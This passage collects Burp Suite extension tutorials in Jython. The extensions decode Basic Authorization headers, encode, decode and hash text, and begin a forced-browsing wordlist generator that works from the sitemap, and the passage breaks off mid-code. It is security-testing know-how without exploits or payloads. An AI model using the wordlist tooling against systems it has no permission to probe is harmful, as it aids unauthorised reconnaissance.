- -----------------------------------------------------------------------------------------
- Now the errors should make more sense. To reload the extension, just click the loaded checkbox, unload the extension, and click again to load it.
- We'll get another error
- The error specifically mentions that with the createNewInstance method the global name DisplayValues is not defined. This error is of course expected since we have not yet created that class, which we will do now. At this point, your script should look like this:
- ----------------------------------------------------------------------------------------------------------------------------------------------------
- # Decode the value of Authorization: Basic header
- # Author: Jake Miller (@LaconicWolf)
- from burp import IBurpExtender # Required for all extensions
- from burp import IMessageEditorTab # Used to create custom tabs within the Burp HTTP message editors
- from burp import IMessageEditorTabFactory # Provides rendering or editing of HTTP messages, within within the created tab
- import base64 # Required to decode Base64 encoded header value
- from exceptions_fix import FixBurpExceptions # Used to make the error messages easier to debug
- import sys # Used to write exceptions for exceptions_fix.py debugging
- class BurpExtender(IBurpExtender, IMessageEditorTabFactory):
- ''' Implements IBurpExtender for hook into burp and inherit base classes.
- Implement IMessageEditorTabFactory to access createNewInstance.
- '''
- def registerExtenderCallbacks(self, callbacks):
- # required for debugger: https://github.com/securityMB/burp-exceptions
- sys.stdout = callbacks.getStdout()
- # keep a reference to our callbacks object
- self._callbacks = callbacks
- # obtain an extension helpers object
- # This method is used to obtain an IExtensionHelpers object, which can be used by the extension to perform numerous useful tasks
- self._helpers = callbacks.getHelpers()
- # set our extension name
- callbacks.setExtensionName("Decode Basic Auth")
- # register ourselves as a message editor tab factory
- callbacks.registerMessageEditorTabFactory(self)
- return
- def createNewInstance(self, controller, editable):
- ''' Allows us to create a tab in the http tabs. Returns
- an instance of a class that implements the iMessageEditorTab class
- '''
- return DisplayValues(self, controller, editable)
- FixBurpExceptions()
- ---------------------------------------------------------------------------------------------------------------------------------------------------------------
- - Create a message tab and access the HTTP headers
- The DisplayValues class uses Burp’s IMessageEditorTab to create the custom tab, and ultimately controls the logic for whether the tab gets displayed and its message. This class requires several methods to be implemented for it to work. Here is the code that will create a tab and display all of the request headers:
- ---------------------------------------------------------------------------------------------------------------------------------------------------------------
- class DisplayValues(IMessageEditorTab):
- ''' Creates a message tab, and controls the logic of which portion
- of the HTTP message is processed.
- '''
- def __init__(self, extender, controller, editable):
- ''' Extender is a instance of IBurpExtender class.
- Controller is a instance of the IMessageController class.
- Editable is boolean value which determines if the text editor is editable.
- '''
- self._txtInput = extender._callbacks.createTextEditor()
- self._extender = extender
- def getUiComponent(self):
- ''' Must be invoked before the editor displays the new HTTP message,
- so that the custom tab can indicate whether it should be enabled for
- that message.
- '''
- return self._txtInput.getComponent()
- def getTabCaption(self):
- ''' Returns the name of the custom tab
- '''
- return "Decoded Authorization Header"
- def isEnabled(self, content, isRequest):
- ''' Determines whether a tab shows up on an HTTP message
- '''
- if isRequest == True:
- requestInfo = self._extender._helpers.analyzeRequest(content)
- headers = requestInfo.getHeaders();
- headers = [header for header in headers]
- self._headers = '\n'.join(headers)
- return isRequest and self._headers
- def setMessage(self, content, isRequest):
- ''' Shows the message in the tab if not none
- '''
- if (content is None):
- self._txtInput.setText(None)
- self._txtInput.setEditable(False)
- else:
- self._txtInput.setText(self._headers)
- return
- --------------------------------------------------------------------------------------------------------------------------------------------------------------------
- If you are following along, paste this code after the BurpExtender class you just created, but be sure to make the FixBurpExceptions() the last line of the script. The comments explain the methods, so I’m only going to focus on the isEnabled and setMessage methods. For more info on this class, you can look at the IMessageEditorTab in the Burp Extender API.
- The isEnabled method accepts message contents and the isRequest parameter (which determines whether the message is a request or a response). If the message is a request, the extender helpers extract the request headers, which for the example purposes I assign to the headers variable via a list comprehension and then assign to self._headers as a string (this needs to be a string). I then return the isRequest and self._headers. In the setMessage method, the content will be received and displayed in a new tab. If you reload this extension and make a request, you should now have a new message tab that is displaying the request headers from the requests you make.
- Process the headers and populate the message tab
- Now that we have access to the headers, you can go ahead and process the headers as you see fit. In this example, we will look for the Authorization: Basic header, and decode it if it is present. We need to make a few changes to the isEnabled and setMessage methods.
- --------------------------------------------------------------------------------------------------------------------------------------
- isEnabled:
- def isEnabled(self, content, isRequest):
- ''' Determines whether a tab shows up on an HTTP message
- '''
- if isRequest == True:
- requestInfo = self._extender._helpers.analyzeRequest(content)
- headers = requestInfo.getHeaders();
- authorizationHeader = [header for header in headers if header.find("Authorization: Basic") != -1]
- if authorizationHeader:
- encHeaderValue = authorizationHeader[0].split()[-1]
- try:
- self._decodedAuthorizationHeader = base64.b64decode(encHeaderValue)
- except Exception as e:
- print e
- self._decodedAuthorizationHeader = ""
- else:
- self._decodedAuthorizationHeader = ""
- return isRequest and self._decodedAuthorizationHeader
- ----------------------------------------------------------------------------------------------------------------------------------------
- The changes we are making looks for the header and decodes it. Otherwise it returns an empty string.
- ----------------------------------------------------------------------------------------------------------------------------------------
- setMessage:
- def setMessage(self, content, isRequest):
- ''' Shows the message in the tab if not none
- '''
- if (content is None):
- self._txtInput.setText(None)
- self._txtInput.setEditable(False)
- else:
- self._txtInput.setText(self._decodedAuthorizationHeader)
- return
- -----------------------------------------------------------------------------------------------------------------------------------------
- The only change made here is displaying the decoded authorization header (self._txtInput.setText(self._decodedAuthorizationHeader)).
- - Test run
- Once you reload the extension, you should have a functional extension which will display a new HTTP message tab if you visit a site requiring Basic Authentication. To test it out, header over to https://httpbin.org/basic-auth/user/passwd and enter in some fake credentials:
- ----------------
- user: test
- pass: test
- ----------------
- and in Burp request you will see under decoded authorization header test:test
- Conclusion
- Hopefully this walkthrough was a helpful introduction to writing Burp extensions. Below is the full script. If you don’t understand how it works, I urge you to play around with it, putting in print statements in various places so you can experiment. You print statements will appear in the output subtab within the extender tab.
- Full script:
- ----------------------------------------------------------------------------------------------------------------------------------------------------------------------
- # Decode the value of Authorization: Basic header
- # Author: Jake Miller (@LaconicWolf)
- from burp import IBurpExtender # Required for all extensions
- from burp import IMessageEditorTab # Used to create custom tabs within the Burp HTTP message editors
- from burp import IMessageEditorTabFactory # Provides rendering or editing of HTTP messages, within within the created tab
- import base64 # Required to decode Base64 encoded header value
- from exceptions_fix import FixBurpExceptions # Used to make the error messages easier to debug
- import sys # Used to write exceptions for exceptions_fix.py debugging
- class BurpExtender(IBurpExtender, IMessageEditorTabFactory):
- ''' Implements IBurpExtender for hook into burp and inherit base classes.
- Implement IMessageEditorTabFactory to access createNewInstance.
- '''
- def registerExtenderCallbacks(self, callbacks):
- # required for debugger: https://github.com/securityMB/burp-exceptions
- sys.stdout = callbacks.getStdout()
- # keep a reference to our callbacks object
- self._callbacks = callbacks
- # obtain an extension helpers object
- # This method is used to obtain an IExtensionHelpers object, which can be used by the extension to perform numerous useful tasks
- self._helpers = callbacks.getHelpers()
- # set our extension name
- callbacks.setExtensionName("Decode Basic Auth")
- # register ourselves as a message editor tab factory
- callbacks.registerMessageEditorTabFactory(self)
- return
- def createNewInstance(self, controller, editable):
- ''' Allows us to create a tab in the http tabs. Returns
- an instance of a class that implements the iMessageEditorTab class
- '''
- return DisplayValues(self, controller, editable)
- FixBurpExceptions()
- class DisplayValues(IMessageEditorTab):
- ''' Creates a message tab, and controls the logic of which portion
- of the HTTP message is processed.
- '''
- def __init__(self, extender, controller, editable):
- ''' Extender is a instance of IBurpExtender class.
- Controller is a instance of the IMessageController class.
- Editable is boolean value which determines if the text editor is editable.
- '''
- self._txtInput = extender._callbacks.createTextEditor()
- self._extender = extender
- def getUiComponent(self):
- ''' Must be invoked before the editor displays the new HTTP message,
- so that the custom tab can indicate whether it should be enabled for
- that message.
- '''
- return self._txtInput.getComponent()
- def getTabCaption(self):
- ''' Returns the name of the custom tab
- '''
- return "Decoded Authorization Header"
- def isEnabled(self, content, isRequest):
- ''' Determines whether a tab shows up on an HTTP message
- '''
- if isRequest == True:
- requestInfo = self._extender._helpers.analyzeRequest(content)
- headers = requestInfo.getHeaders();
- authorizationHeader = [header for header in headers if header.find("Authorization: Basic") != -1]
- if authorizationHeader:
- encHeaderValue = authorizationHeader[0].split()[-1]
- try:
- self._decodedAuthorizationHeader = base64.b64decode(encHeaderValue)
- except Exception as e:
- print e
- self._decodedAuthorizationHeader = ""
- else:
- self._decodedAuthorizationHeader = ""
- return isRequest and self._decodedAuthorizationHeader
- def setMessage(self, content, isRequest):
- ''' Shows the message in the tab if not none
- '''
- if (content is None):
- self._txtInput.setText(None)
- self._txtInput.setEditable(False)
- else:
- self._txtInput.setText(self._decodedAuthorizationHeader)
- return
- ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
- #######################################################
- # Burp Extension Python Tutorial – Encode/Decode/Hash #
- #######################################################
- Setup
- Create a folder where you’ll store your extensions – I named mine extensions
- Download the Jython standalone JAR file (http://www.jython.org/downloads.html) – Place into the extensions folder
- Download exceptions_fix.py *https://github.com/securityMB/burp-exceptions/blob/master/exceptions_fix.py) to the extensions folder – this will make debugging easier
- Configure Burp to use Jython – Extender > Options > Python Environment > Select file
- Create a new file (encodeDecodeHash.py) in your favorite text editor (save it in your extensions folder)
- - Importing required modules and accessing the Extender API, and implementing the debugger
- Let’s write some code:
- --------------------------------------------------------
- from burp import IBurpExtender, ITab
- from javax import swing
- from java.awt import BorderLayout
- import sys
- try:
- from exceptions_fix import FixBurpExceptions
- except ImportError:
- pass
- --------------------------------------------------------
- The IBurpExtender module is required for all extensions, while ITab will register the tab in Burp and send Burp the UI that we will define. The swing library is what is used to build GUI applications with Jython, and we’ll be using layout management, specifically BorderLayout from the java.awt library. The sys module is imported to allow Python errors to be shown in stdout with the help of the FixBurpExceptions script. I placed that in a Try/Except block so if we don’t have the script the code will still work fine. I’ll be adding more imports when we start writing encoding method, but this is enough for now.
- This next code snippet will register our extension and create a new tab that will contain the UI. If you’re following along type or paste this code after the imports:
- -----------------------------------------------------------------------------------------------------------------
- class BurpExtender(IBurpExtender, ITab):
- def registerExtenderCallbacks(self, callbacks):
- # Required for easier debugging:
- # https://github.com/securityMB/burp-exceptions
- sys.stdout = callbacks.getStdout()
- # Keep a reference to our callbacks object
- self.callbacks = callbacks
- # Set our extension name
- self.callbacks.setExtensionName("Encode/Decode/Hash")
- # Create the tab
- self.tab = swing.JPanel(BorderLayout())
- # Add the custom tab to Burp's UI
- callbacks.addSuiteTab(self)
- return
- # Implement ITab
- def getTabCaption(self):
- """Return the text to be displayed on the tab"""
- return "Encode/Decode/Hash"
- def getUiComponent(self):
- """Passes the UI to burp"""
- return self.tab
- try:
- FixBurpExceptions()
- except:
- pass
- ------------------------------------------------------------------------------------------------
- This class implements IBurpExtender, which is required for all extensions and must be called BurpExtender. Within the required method, registerExtendedCallbacks, the line self.callbacks keeps a reference to Burp so we can interact with it, and in our case will be used to create the tab in Burp. ITab requires two methods, getTabCaption and getUiComponent, where getTabCaption returns the name of the tab, and getUiComponent returns the UI itself (self.tab), which is created in the line self.tab=swing.JPanel(). FixBurpExceptions is called at the end of the script just in case we have an error.
- Save the script to your extensions folder and then load the file into Burp: Extender > Extensions > Add > Extension Details > Extension Type: Python > Select file… > encodeDecodeHash.py
- The extension should load and you should have a new tab: Encode/Decode/Hash
- This tab doesn’t have any features yet, so let’s build the skeleton of the UI
- Onto the code:
- ----------------------------------------------------------------------------------------------
- class BurpExtender(IBurpExtender, ITab):
- ...
- self.tab = swing.Jpanel(BorderLayout())
- # Create the text area at the top of the tab
- textPanel = swing.JPanel()
- # Create the label for the text area
- boxVertical = swing.Box.createVerticalBox()
- boxHorizontal = swing.Box.createHorizontalBox()
- textLabel = swing.JLabel("Text to be encoded/decoded/hashed")
- boxHorizontal.add(textLabel)
- boxVertical.add(boxHorizontal)
- # Create the text area itself
- boxHorizontal = swing.Box.createHorizontalBox()
- self.textArea = swing.JTextArea('', 6, 100)
- self.textArea.setLineWrap(True)
- boxHorizontal.add(self.textArea)
- boxVertical.add(boxHorizontal)
- # Add the text label and area to the text panel
- textPanel.add(boxVertical)
- # Add the text panel to the top of the main tab
- self.tab.add(textPanel, BorderLayout.NORTH)
- # Add the custom tab to Burp's UI
- callbacks.addSuiteTab(self)
- return
- ...
- -----------------------------------------------------------------------------------------
- A bit of explanation. The code (textPanel = swing.JPanel()) creates a new panel that will contain the text label and text area. Then, a box is created (boxVertical), that will be used to hold other boxes (boxHorizontal) that contain the text label and area. The horizontal boxes get added to the vertical box (boxVertical.add(boxHorizontal)), the vertical box is added to the panel we created (textPanel.add(boxVertical)), and that panel is added to the main tab panel at the top (BorderLayout.NORTH). Save the code, unload/reload the extension and this is what you should see: "Text to be encoded/decoded/hashed" field
- Now we’ll add the tabs:
- -----------------------------------------------------------------------------------------
- self.tab.add(textPanel, BorderLayout.NORTH)
- # Created a tabbed pane to go in the center of the
- # main tab, below the text area
- tabbedPane = swing.JTabbedPane()
- self.tab.add("Center", tabbedPane);
- # First tab
- firstTab = swing.JPanel()
- firstTab.layout = BorderLayout()
- tabbedPane.addTab("Encode", firstTab)
- # Second tab
- secondTab = swing.JPanel()
- secondTab.layout = BorderLayout()
- tabbedPane.addTab("Decode", secondTab)
- # Third tab
- thirdTab = swing.JPanel()
- thirdTab.layout = BorderLayout()
- tabbedPane.addTab("Hash", thirdTab)
- # Add the custom tab to Burp's UI
- callbacks.addSuiteTab(self)
- return
- ...
- --------------------------------------------------------------------------------------------------
- After you add this code and save the file, you should have your tabs
- we’re only going to build out the Encode tab, but the steps will be the same for each tab.
- ---------------------------------------------------------------------------------------------------
- # First tab
- firstTab = swing.JPanel()
- firstTab.layout = BorderLayout()
- tabbedPane.addTab("Encode", firstTab)
- # Button for first tab
- buttonPanel = swing.JPanel()
- buttonPanel.add(swing.JButton('Encode', actionPerformed=self.encode))
- firstTab.add(buttonPanel, "North")
- # Panel for the encoders. Each label and text field
- # will go in horizontal boxes which will then go in
- # a vertical box
- encPanel = swing.JPanel()
- boxVertical = swing.Box.createVerticalBox()
- boxHorizontal = swing.Box.createHorizontalBox()
- self.b64EncField = swing.JTextField('', 75)
- boxHorizontal.add(swing.JLabel(" Base64 :"))
- boxHorizontal.add(self.b64EncField)
- boxVertical.add(boxHorizontal)
- boxHorizontal = swing.Box.createHorizontalBox()
- self.urlEncField = swing.JTextField('', 75)
- boxHorizontal.add(swing.JLabel(" URL :"))
- boxHorizontal.add(self.urlEncField)
- boxVertical.add(boxHorizontal)
- boxHorizontal = swing.Box.createHorizontalBox()
- self.asciiHexEncField = swing.JTextField('', 75)
- boxHorizontal.add(swing.JLabel(" Ascii Hex :"))
- boxHorizontal.add(self.asciiHexEncField)
- boxVertical.add(boxHorizontal)
- boxHorizontal = swing.Box.createHorizontalBox()
- self.htmlEncField = swing.JTextField('', 75)
- boxHorizontal.add(swing.JLabel(" HTML :"))
- boxHorizontal.add(self.htmlEncField)
- boxVertical.add(boxHorizontal)
- boxHorizontal = swing.Box.createHorizontalBox()
- self.jsEncField = swing.JTextField('', 75)
- boxHorizontal.add(swing.JLabel(" JavaScript:"))
- boxHorizontal.add(self.jsEncField)
- boxVertical.add(boxHorizontal)
- # Add the vertical box to the Encode tab
- firstTab.add(boxVertical, "Center")
- # Second tab
- ...
- # Third tab
- ...
- # Add the custom tab to Burp's UI
- callbacks.addSuiteTab(self)
- return
- # Implement the functions from the button clicks
- def encode(self, event):
- pass
- # Implement ITab
- def getTabCaption(self):
- -----------------------------------------------------------------------------------------
- First we create a panel (buttonPanel) to hold our button, and then we add a button to the panel and specify the argument actionPerformed=self.encode, where self.encode is a method that will run when the button is clicked. We define encode at the end of the code snippet, and currently have it doing nothing. We’ll implement the encoders later. Now that our panel has a button, we add that to the first tab of the panel (firstTab.add(buttonPanel, “North”)). Next we create a separate panel for the encoder text labels and fields. Similar to before, we create a big box (boxVertical), and then create a horizontal box (boxHorizontal) for each pair of labels/textfields, which then get added to the big box. Finally that big box gets added to the tab. After saving the file and unloading/reloading, you shoud see big box added to the tab.
- The button might not seem to do anything, but it is actually executing the encode method we defined (which does nothing). Lets fix that method and have it encode the user input:
- ---------------------------------------------------------------------------------------------------------
- …
- try:
- from exceptions_fix import FixBurpExceptions
- except ImportError:
- pass
- import base64
- import urllib
- import binascii
- import cgi
- import json
- ...
- # Add the custom tab to Burp's UI
- callbacks.addSuiteTab(self)
- return
- # Implement the functions from the button clicks
- def encode(self, event):
- """Encodes the user input and writes the encoded
- value to text fields.
- """
- self.b64EncField.text = base64.b64encode(self.textArea.text)
- self.urlEncField.text = urllib.quote(self.textArea.text)
- self.asciiHexEncField.text = binascii.hexlify(self.textArea.text)
- self.htmlEncField.text = cgi.escape(self.textArea.text)
- self.jsEncField.text = json.dumps(self.textArea.text)
- # Implement ITab
- def getTabCaption(self):
- …
- ----------------------------------------------------------------------------------------------------------
- The encode method sets the text on the encode fields we created by encoding whatever the user types in the top text area (self.textArea.text). Once you save and unload/reload the file you should have full encoding functionality.
- Full code:
- ----------------------------------------------------------------------------------------------------------
- __author__ = 'Jake Miller (@LaconicWolf)'
- __date__ = '20190206'
- __version__ = '0.01'
- __description__ = """Burp Extension that encodes, decodes,
- and hashes user input. Inspired by a
- similar tool in OWASP's ZAP.
- """
- from burp import IBurpExtender, ITab
- from javax import swing
- from java.awt import BorderLayout
- import sys
- import base64
- import urllib
- import binascii
- import cgi
- import json
- import re
- import hashlib
- from HTMLParser import HTMLParser
- try:
- from exceptions_fix import FixBurpExceptions
- except ImportError:
- pass
- class BurpExtender(IBurpExtender, ITab):
- def registerExtenderCallbacks(self, callbacks):
- # Required for easier debugging:
- # https://github.com/securityMB/burp-exceptions
- sys.stdout = callbacks.getStdout()
- # Keep a reference to our callbacks object
- self.callbacks = callbacks
- # Set our extension name
- self.callbacks.setExtensionName("Encode/Decode/Hash")
- # Create the tab
- self.tab = swing.JPanel(BorderLayout())
- # Create the text area at the top of the tab
- textPanel = swing.JPanel()
- # Create the label for the text area
- boxVertical = swing.Box.createVerticalBox()
- boxHorizontal = swing.Box.createHorizontalBox()
- textLabel = swing.JLabel("Text to be encoded/decoded/hashed")
- boxHorizontal.add(textLabel)
- boxVertical.add(boxHorizontal)
- # Create the text area itself
- boxHorizontal = swing.Box.createHorizontalBox()
- self.textArea = swing.JTextArea('', 6, 100)
- self.textArea.setLineWrap(True)
- boxHorizontal.add(self.textArea)
- boxVertical.add(boxHorizontal)
- # Add the text label and area to the text panel
- textPanel.add(boxVertical)
- # Add the text panel to the top of the main tab
- self.tab.add(textPanel, BorderLayout.NORTH)
- # Created a tabbed pane to go in the center of the
- # main tab, below the text area
- tabbedPane = swing.JTabbedPane()
- self.tab.add("Center", tabbedPane);
- # First tab
- firstTab = swing.JPanel()
- firstTab.layout = BorderLayout()
- tabbedPane.addTab("Encode", firstTab)
- # Button for first tab
- buttonPanel = swing.JPanel()
- buttonPanel.add(swing.JButton('Encode', actionPerformed=self.encode))
- firstTab.add(buttonPanel, "North")
- # Panel for the encoders. Each label and text field
- # will go in horizontal boxes which will then go in
- # a vertical box
- encPanel = swing.JPanel()
- boxVertical = swing.Box.createVerticalBox()
- boxHorizontal = swing.Box.createHorizontalBox()
- self.b64EncField = swing.JTextField('', 75)
- boxHorizontal.add(swing.JLabel(" Base64 :"))
- boxHorizontal.add(self.b64EncField)
- boxVertical.add(boxHorizontal)
- boxHorizontal = swing.Box.createHorizontalBox()
- self.urlEncField = swing.JTextField('', 75)
- boxHorizontal.add(swing.JLabel(" URL :"))
- boxHorizontal.add(self.urlEncField)
- boxVertical.add(boxHorizontal)
- boxHorizontal = swing.Box.createHorizontalBox()
- self.asciiHexEncField = swing.JTextField('', 75)
- boxHorizontal.add(swing.JLabel(" Ascii Hex :"))
- boxHorizontal.add(self.asciiHexEncField)
- boxVertical.add(boxHorizontal)
- boxHorizontal = swing.Box.createHorizontalBox()
- self.htmlEncField = swing.JTextField('', 75)
- boxHorizontal.add(swing.JLabel(" HTML :"))
- boxHorizontal.add(self.htmlEncField)
- boxVertical.add(boxHorizontal)
- boxHorizontal = swing.Box.createHorizontalBox()
- self.jsEncField = swing.JTextField('', 75)
- boxHorizontal.add(swing.JLabel(" JavaScript:"))
- boxHorizontal.add(self.jsEncField)
- boxVertical.add(boxHorizontal)
- # Add the vertical box to the Encode tab
- firstTab.add(boxVertical, "Center")
- # Repeat the same process for the remaining tabs
- secondTab = swing.JPanel()
- secondTab.layout = BorderLayout()
- tabbedPane.addTab("Decode", secondTab)
- buttonPanel = swing.JPanel()
- buttonPanel.add(swing.JButton('Decode', actionPerformed=self.decode))
- secondTab.add(buttonPanel, "North")
- decPanel = swing.JPanel()
- boxVertical = swing.Box.createVerticalBox()
- boxHorizontal = swing.Box.createHorizontalBox()
- self.b64DecField = swing.JTextField('', 75)
- boxHorizontal.add(swing.JLabel(" Base64 :"))
- boxHorizontal.add(self.b64DecField)
- boxVertical.add(boxHorizontal)
- boxHorizontal = swing.Box.createHorizontalBox()
- self.urlDecField = swing.JTextField('', 75)
- boxHorizontal.add(swing.JLabel(" URL :"))
- boxHorizontal.add(self.urlDecField)
- boxVertical.add(boxHorizontal)
- boxHorizontal = swing.Box.createHorizontalBox()
- self.asciiHexDecField = swing.JTextField('', 75)
- boxHorizontal.add(swing.JLabel(" Ascii Hex :"))
- boxHorizontal.add(self.asciiHexDecField)
- boxVertical.add(boxHorizontal)
- boxHorizontal = swing.Box.createHorizontalBox()
- self.htmlDecField = swing.JTextField('', 75)
- boxHorizontal.add(swing.JLabel(" HTML :"))
- boxHorizontal.add(self.htmlDecField)
- boxVertical.add(boxHorizontal)
- boxHorizontal = swing.Box.createHorizontalBox()
- self.jsDecField = swing.JTextField('', 75)
- boxHorizontal.add(swing.JLabel(" JavaScript:"))
- boxHorizontal.add(self.jsDecField)
- boxVertical.add(boxHorizontal)
- secondTab.add(boxVertical, "Center")
- thirdTab = swing.JPanel()
- thirdTab.layout = BorderLayout()
- tabbedPane.addTab("Hash", thirdTab)
- buttonPanel = swing.JPanel()
- buttonPanel.add(swing.JButton('Hash', actionPerformed=self.generateHashes))
- thirdTab.add(buttonPanel, "North")
- decPanel = swing.JPanel()
- boxVertical = swing.Box.createVerticalBox()
- boxHorizontal = swing.Box.createHorizontalBox()
- self.md5Field = swing.JTextField('', 75)
- boxHorizontal.add(swing.JLabel(" MD5 :"))
- boxHorizontal.add(self.md5Field)
- boxVertical.add(boxHorizontal)
- boxHorizontal = swing.Box.createHorizontalBox()
- self.sha1Field = swing.JTextField('', 75)
- boxHorizontal.add(swing.JLabel(" SHA-1 :"))
- boxHorizontal.add(self.sha1Field)
- boxVertical.add(boxHorizontal)
- boxHorizontal = swing.Box.createHorizontalBox()
- self.sha256Field = swing.JTextField('', 75)
- boxHorizontal.add(swing.JLabel(" SHA-256 :"))
- boxHorizontal.add(self.sha256Field)
- boxVertical.add(boxHorizontal)
- boxHorizontal = swing.Box.createHorizontalBox()
- self.sha512Field = swing.JTextField('', 75)
- boxHorizontal.add(swing.JLabel(" SHA-512 :"))
- boxHorizontal.add(self.sha512Field)
- boxVertical.add(boxHorizontal)
- boxHorizontal = swing.Box.createHorizontalBox()
- self.ntlmField = swing.JTextField('', 75)
- boxHorizontal.add(swing.JLabel(" NTLM :"))
- boxHorizontal.add(self.ntlmField)
- boxVertical.add(boxHorizontal)
- thirdTab.add(boxVertical, "Center")
- # Add the custom tab to Burp's UI
- callbacks.addSuiteTab(self)
- return
- # Implement ITab
- def getTabCaption(self):
- """Return the text to be displayed on the tab"""
- return "Encode/Decode/Hash"
- def getUiComponent(self):
- """Passes the UI to burp"""
- return self.tab
- # Implement the functions from the button clicks
- def encode(self, event):
- """Encodes the user input and writes the encoded
- value to text fields.
- """
- self.b64EncField.text = base64.b64encode(self.textArea.text)
- self.urlEncField.text = urllib.quote(self.textArea.text)
- self.asciiHexEncField.text = binascii.hexlify(self.textArea.text)
- self.htmlEncField.text = cgi.escape(self.textArea.text)
- self.jsEncField.text = json.dumps(self.textArea.text)
- def decode(self, event):
- """Decodes the user input and writes the decoded
- value to text fields."""
- try:
- self.b64DecField.text = base64.b64decode(self.textArea.text)
- except TypeError:
- pass
- self.urlDecField.text = urllib.unquote(self.textArea.text)
- try:
- self.asciiHexDecField.text = binascii.unhexlify(self.textArea.text)
- except TypeError:
- pass
- parser = HTMLParser()
- self.htmlDecField.text = parser.unescape(self.textArea.text)
- self.jsDecField.text = re.sub(r'%u([a-fA-F0-9]{4}|[a-fA-F0-9]{2})', lambda m: chr(int(m.group(1), 16)), self.textArea.text)
- def generateHashes(self, event):
- """Hashes the user input and writes the hashed
- value to text fields.
- """
- self.md5Field.text = hashlib.md5(self.textArea.text).hexdigest()
- self.sha1Field.text = hashlib.sha1(self.textArea.text).hexdigest()
- self.sha256Field.text = hashlib.sha256(self.textArea.text).hexdigest()
- self.sha512Field.text = hashlib.sha512(self.textArea.text).hexdigest()
- self.ntlmField.text = binascii.hexlify(hashlib.new('md4', self.textArea.text.encode('utf-16le')).digest())
- try:
- FixBurpExceptions()
- except:
- pass
- --------------------------------------------------------------------------------------------------------------------------------------------------------
- ########################################################################
- # Burp Extension Python Tutorial – Generate a Forced Browsing Wordlist #
- ########################################################################
- Setup
- • Create a folder where you’ll store extensions – I named mine extensions
- • Download the Jython standalone JAR file (http://www.jython.org/downloads.html) – Place into the extensions folder
- • Download exceptions_fix.py (https://github.com/securityMB/burp-exceptions/blob/master/exceptions_fix.py) to the extensions folder – this will make debugging easier
- • Configure Burp to use Jython – Extender > Options > Python Environment > Select file
- • Create a new file (GenerateForcedBrowseWordlist.py) in your favorite text editor (save it in your extensions folder)
- Full code: https://raw.githubusercontent.com/laconicwolf/burp-extensions/master/GenerateForcedBrowseWordlist.py
- - Importing required modules, accessing the Extender API, and implementing the debugger
- -----------------------------------------------------------------------------------
- from burp import IBurpExtender, IContextMenuFactory
- from java.util import ArrayList
- from javax.swing import JMenuItem
- import threading
- import sys
- try:
- from exceptions_fix import FixBurpExceptions
- except ImportError:
- pass
- ------------------------------------------------------------------------------------
- The IBurpExtender module is required for all extensions, while IContextMenuFactory allows us to have the right-click functionality. The JMenuItem is used for the context menu GUI, and the ArrayList is to store our list of options that we want to appear in the context menu. The sys module is imported to allow Python errors to be shown in stdout with the help of the FixBurpExceptions script. I placed that in a Try/Except block so if we don’t have the script the code will still work fine.
- This next code snippet will implement the FixBurpExceptions prettier debugger, set references to our callbacks and extension helpers, register our extension with Burp, and keep create a context menu. If you’re following along type or paste this code after the imports:
- -------------------------------------------------------------------------------------
- class BurpExtender(IBurpExtender, IContextMenuFactory):
- def registerExtenderCallbacks(self, callbacks):
- sys.stdout = callbacks.getStdout()
- self.callbacks = callbacks
- self.helpers = callbacks.getHelpers()
- self.callbacks.setExtensionName("Forced Browsing Wordlist Generator")
- callbacks.registerContextMenuFactory(self)
- return
- try:
- FixBurpExceptions()
- except:
- pass
- -------------------------------------------------------------------------------------
- The above class implements IBurpExtender, which is required for all extensions and must be named BurpExtender. Within the required method, registerExtendedCallbacks, the line self.callbacks keeps a reference to Burp so we can interact with it, and in our case will be used to set the extension name, and eventually obtain data from the Sitemap. The line callbacks.registerContextMenuFactory(self) tells Burp that we want to use the context menu, which is the right-click functionality. FixBurpExceptions is called at the end of the script just in case we have an error (Thanks for the code, SecurityMB!). The try/except block calling FixBurpExceptions will always go at the very end of the script.
- Save the script to your extensions folder and then load the file into Burp: Extender > Extensions > Add > Extension Details > Extension Type: Python > Select file… > GenerateForcedBrowseWordlist.py
- The extension should load without any errors or output. If you click on the Target > Sitemap and right-click something, if you go back to the Extender tab you should now have an error.
- The error is recorded as NotImplementedError, because we invoked the iContextMenuFactory but did not implement any menu items. We can figure out why this happened by reviewing the Extender API documentation (either in Burp or online):
- - the method createMenuItems() “…will be called by Burp when the user invokes a context menu anywhere within Burp. The factory can then provide any custom context menu items that should be displayed in the context menu, based on the details of the menu invocation.”
- - Creating an interface to right-click and perform a function
- We will create the menu items, and then define the functions that are called when the menu items are clicked:
- ---------------------------------------------------------------------------------------------------
- ...
- callbacks.registerContextMenuFactory(self)
- return
- def createMenuItems(self, invocation):
- self.context = invocation
- menuList = ArrayList()
- menuItem = JMenuItem("Generate forced browsing wordlist from selected items",
- actionPerformed=self.createWordlistFromSelected)
- menuList.add(menuItem)
- menuItem = JMenuItem("Generate forced browsing wordlist from all hosts in scope",
- actionPerformed=self.createWordlistFromScope)
- menuList.add(menuItem)
- return menuList
- def createWordlistFromSelected(self, event):
- print "in createWordlistFromSelected"
- def createWordlistFromScope(self, event):
- print "in createWordlistFromScope"
- try:
- FixBurpExceptions()
- ...
- --------------------------------------------------------------------------------------------------
- Save the code and reload the extension. Try right-clicking in the Sitemap, and you should now see the option to “Generate forced browsing wordlist from selected items” or “Generate forced browsing wordlist from all hosts in scope”. Click on one of them, and it will execute the function, and you should see output in the Extender output pane.
- Excellent. So far we’ve added out menu items to the context menu, and we are able to run our functions when the menu items are clicked. The next part of the program builds out these function further, and shows how to interact with the recorded HTTP requests and responses contained in the Sitemap.
- We defined two menu options, “Generate forced browsing wordlist from selected items” or “Generate forced browsing wordlist from all hosts in scope”, so we need to actually make these functions do something other than print. They are actually both going to basically do the same thing, which is start another thread and call another function that will do most of the work. The only difference between the functions will be that createWordlistFromScope() will set a class variable that tells only looks at the sites in scope. On to the code. We edit the functions that we created so they will do more than just print:
- ----------------------------------------------------------------------
- def createMenuItems(self, invocation):
- ...
- return menuList
- def createWordlistFromSelected(self, event):
- self.fromScope = False
- t = threading.Thread(target=self.createWordlist)
- t.daemon = True
- t.start()
- def createWordlistFromScope(self, event):
- self.fromScope = True
- t = threading.Thread(target=self.createWordlist)
- t.daemon = True
- t.start()
- def createWordlist(self):
- print "In createWordlist"
- try:
- FixBurpExceptions()
- ...
- --------------------------------------------------------------------
